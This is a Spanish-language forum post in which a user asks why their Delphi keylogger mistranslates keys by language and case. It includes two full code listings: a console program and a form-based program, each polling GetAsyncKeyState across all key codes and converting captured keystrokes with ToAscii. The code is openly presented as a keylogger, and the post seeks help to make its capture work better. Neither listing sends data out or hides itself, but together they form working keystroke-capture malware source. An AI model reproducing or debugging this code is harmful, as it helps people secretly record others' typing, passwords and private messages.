Keylogger Multi Lenguaje Problema con la Captura
Tengo un problema toascii convierte la tecla apretada a ascii segun el lenguaje y segun si esta mayuscula
pero no me funciona,
solo me funciona cuando creo un aplicacion con formulario
y si uso application.processmessages
alguien me puede decir como soluciono esto
gracias
========================
Ejemplo que no funciona Bien
========================
program Keylogger;
{$APPTYPE CONSOLE}
uses
system,windows;
var
msg:tmsg;
hTimer1: word;
KeyState : TKeyboardState;
procedure doevents;
var
msg:tmsg;
begin
while peekmessage(Msg, 0, 0, 0, PM_REMOVE) do
begin
GetMessage(Msg,0,0,0);
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;
Function GetCharFromKey(KeyCode:Integer):String;
var
KeyState : TKeyboardState;
Sal : Longint;
begin
DoEvents;
If GetKeyboardState(KeyState) Then
begin
If ToAscii(KeyCode, 0, KeyState, @Sal, 0) <> 0 Then
begin
GetCharFromKey := Chr(Sal)
end;
end;
doevents;
end;
procedure CapKeys(hwnd : THandle; uMsg,idEvent:integer; dwTime: DWORD); stdcall;
var
i : Integer;
KeyState : TKeyboardState;
Sal : Longint;
begin
for i:= 1 to 255 do
begin
doevents;
If GetAsyncKeyState(i) = -32767 Then write(GetCharFromKey(i));
end;
end;
procedure CapturarTeclas();
begin
hTimer1 := settimer(0,0,1,@CapKeys);
end;
begin
CapturarTeclas;
while true do begin
GetKeyboardState(KeyState);
doevents;
end;
end.
=============================
EJEMPLO QUE FUNCIONA BIEN
=============================
EN EL FORMULARIO AGREGAR :
-COMPONENTE TIMER 1 MS
-LABEL1
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
Label1: TLabel;
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
Function GetCharFromKey(KeyCode:Integer):String;
var
KeyState : TKeyboardState;
Sal : Longint;
begin
If GetKeyboardState(KeyState) Then
begin
If ToAscii(KeyCode, 0, KeyState, @Sal, 0) <> 0 Then
begin
GetCharFromKey := Chr(Sal)
end;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
i:integer;
begin
While True do
begin
For i := 0 To 255 do
begin
If GetAsyncKeyState(i) = -32767 Then label1.Caption := GetCharFromKey(i);
Application.ProcessMessages;
end;
end;
end;
end.
|